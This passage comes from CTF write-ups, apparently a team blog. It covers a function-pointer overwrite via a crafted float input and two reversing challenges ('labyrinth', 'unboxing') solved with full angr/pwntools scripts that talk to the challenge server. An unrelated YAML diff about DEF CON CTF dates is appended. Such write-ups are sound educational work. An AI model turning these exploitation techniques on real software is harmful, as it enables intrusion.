first value is used for both menu choosing and the first value of the arithmetic - the second value is used for arithmetic - the third value is used for arithmetic AND is stored at the next function call's stack location's lower 8 bytes - the fourth value is ignored - the printed value is stored at the next function call's stack location's higher 8 bytes and it repeats as long as we use an invalid option in menu the function call's stack location wont get overwriten so with that we want a float value to match 0x00401163 which is 5.88371e-39 and then make it so that the printed value is 0 which multiply is the easiest to use so we can just input in sequence: ```c 3 //must use to choose multiply 0 //ensure printed value is * 0 = 0 so no unnecessary writing is made 5.88371e-39 //value we found 0 //same reason as the 0 above 0 //invalid value for triggering function pointer ``` ### labyrinth co-solved with [@Jason](https://maplebacon.org/authors/Jason/) maze with function calls that are gated by integer arithmetic checks angr doesnt work directly prob coz of too many branches, so we want to traverse the maze for angr first to resolve the integers needed to pass the functions angr's cfgfast to the rescue get shortest path from main function to the only function that calls `exit(0)` not `exit(1)` (address obtained using radare) tried to use filtering with avoid on all node addresses that are not in the path obtained, failed realized the path we got has indirect resolutions that are not even reachable removed all nodes that are not called `function_*` or `main` which are the maze components and got the cfg again which has a valid path now still doesnt work, realized we hooked scanf wrongly (scanf is hooked coz angr said its not properly emulated and stdin is painful to use) filtering STILL doesnt work so we went with directing angr using new sim states on every node and explore the next addr instead tada solved ```py from pwn import * import angr import claripy import r2pipe import networkx io = remote("tamuctf.com", 443, ssl=True, sni="labyrinth") for binary in range(5): with open("elf", "wb") as file: file.write(bytes.fromhex(io.recvline().rstrip().decode())) exe = context.binary = ELF('elf') r = r2pipe.open(exe.path) r.cmd('aaa') r.cmd('e search.in=bin.section.[x]') target = r.cmdj('pdfj @ ' + r.cmd('/a mov edi, 0; call sym.imp.exit;').split()[0]) all_func_offsets = [func['offset'] for func in r.cmdj('aflj') if 'function_' in func['name']] p = angr.Project(exe.path, main_opts={'base_addr': 0}, load_options={'auto_load_libs': False}) cfg = p.analyses.CFGFast() complete = False while not complete: complete = True for node in cfg.graph.nodes: if node.function_address not in all_func_offsets and node.name and 'main' not in node.name: cfg.graph.remove_node(node) complete = False break mainNode = cfg.model.get_node(exe.sym['main']) targetNode = cfg.model.get_node(target['addr']) path = networkx.algorithms.shortest_path( cfg.graph, source=mainNode, target=targetNode ) nums = [] class ReplacementScanf(angr.SimProcedure): def run(self, format_string, ptr): u = claripy.BVS('num_%d' % len(nums), 4*8) nums.append(u) self.state.mem[ptr].dword = u p.hook_symbol('__isoc99_scanf', ReplacementScanf(), replace=True) s = p.factory.full_init_state( add_options=set.union( angr.options.unicorn, { angr.options.LAZY_SOLVES, angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY, angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS, } ) ) sim = p.factory.simgr(s) print("PATH: " + str([node.name for node in path]) + " (" + str(len(path)) + ")") for node in path: sim.explore(find=node.addr) if sim.found: print(node.name + " solution found") sim = p.factory.simgr(sim.found[0]) else: print("no solution") solution = [sim.active[0].solver.eval(num) for num in nums] print(solution) io.sendline(b"".join([str(num).encode() + b'\n' for num in solution]).hex().encode()) io.interactive() ``` ### unboxing co-solved with [@Jason](https://maplebacon.org/authors/Jason/) shellcode unravels next segment and destroys the previous one before moving on to the next segment and repeat, along with outputting to `output` for byte checking checks 64 of the bytes not set in certain places on .data doesnt work with angr - gets stuck at shell code probably coz of the jmps and self modifying instructions eventually we realized: + - each segment is 0x44 bytes - first xor starting from 00E, next one is at 052, and so on - rcx is probably a tracker of how many bytes are remaining in the shellcode portion: starts at 0x10fe7, drops 44 each unravelling of segment - each segment xors the entire rest of the shellcode portion not just a single segment - composes of a constructor segment (xors everything after this segment), a data writer segment (does the main things unrelated to shellcode unravelling), a destructor segment (sets zero on the segment above and erases it) with this data gathered, we concluded its basically russian doll - first segment uncovers everything after it, second segment uncovers everything after it, and so on... which means the last segment to be uncovered is layered in thousands of xors and we can manually unwrap the shellcodes with xors obtained layer by layer statically originally done with radare but scuffed coz its unstable, later with plain offsets as follows + - counter = 0x10fe7 decrement by 0x44 each cycle, or since we have to unwrap at the top, (start = 0) + 0x44 until 0x11001 - xor byte - start + 0xe + 0x2 - start writing at - start + 0x19 after quite a bit of 4am oversights and debugging we got segments that follow the structure we saw right up till the end which means we did the xor correctly then we have to remove the constructor and destructor since those will overwrite our statically unwrapped data and corrupt it after another bit of 5am debugging nop is also done, but we cant see how it returns and it doesnt return it just goes straight into the next program segment and segfaults eventually we realized at the very end of data its a C3 which is a retn instruction before xoring which means we were xoring 1 too many lines of code removing that and finally we have a working program we can run angr on run angr after hooking read instead of using stdin, standard angr afterwards and we get the solve script ```py from pwn import * import angr import claripy import r2pipe io = remote("tamuctf.com", 443, ssl=True, sni="unboxing") for binary in range(5): with open("elf", "wb") as file: file.write(bytes.fromhex(io.recvline().rstrip().decode())) file.close() exe = context.binary = ELF('elf') r = r2pipe.open(exe.path) r.cmd('aaa') correct = int(r.cmd('pdfs @ main ~ str.correct_:_').split()[0], 0) wrong = int(r.cmd('pdfs @ main ~ str.wrong_:_').split()[0], 0) mem = r.cmdj(f'pxj 0x11001 @ 0x4080') offset = 0; while offset + 0x44 < 0x11001: start = offset + 0x19 xor = mem[offset + 0x10] # print(f"XOR to {hex(start)}") mem[start:-1] = [byte ^ xor for byte in mem[start:-1]] offset += 0x44 print(hex(len(mem))) offset = 0; while offset + 0x44 < 0x11001: # print(f"NOP to {hex(offset)}") mem[offset + 0x00 : offset + 0x19] = [0x90] * 0x19 mem[offset + 0x2b : offset + 0x44] = [0x90] * 0x19 offset += 0x44 print(hex(len(mem))) with open(exe.path, 'r+b') as file: file.seek(int(r.cmd('?p @ obj.check'), 0)) file.write(bytes(mem)) info("CORRECT = " + hex(correct)) info("WRONG = " + hex(wrong)) p = angr.Project(exe.path, main_opts={'base_addr': 0}) password_chars = [claripy.BVS("byte_%d" % i, 8) for i in range(0x40)] password = claripy.Concat(*password_chars) class ReplacementRead(angr.SimProcedure): def run(self, fd, ptr, length): self.state.memory.store(ptr, password) p.hook_symbol('read', ReplacementRead(), replace=True) s = p.factory.full_init_state( add_options={ angr.options.LAZY_SOLVES, angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY, angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS, } ) sim = p.factory.simgr(s) sim.explore(find=correct, avoid=wrong) if sim.found: print("solution found") solution = sim.found[0].solver.eval(password, cast_to=bytes) else: print("no solution") io.sendline(solution.hex().encode()) io.interactive() ``` diff --git a/ctfs/defconfinals22.yml b/ctfs/defconfinals22.yml index a3bd3b4..47552c7 100644 --- a/ctfs/defconfinals22.yml +++ b/ctfs/defconfinals22.yml @@ -1,14 +1,14 @@ #refer to hkcert21.yml for definitions name: "DEF CON 30 CTF" url: https://ctftime.org/event/1662 -date: 2022-08-11 -duration: 72 +date: 2022-08-12 +duration: 52 #ctftime date is for the entire def con; the ctf actually went from 12th 10am to 14th 2pm (early end at 1pm) type: "A/D" organizer: false rank: 1 full-clear: false team: "Maple Mallard Magistrates" \ No newline at end of file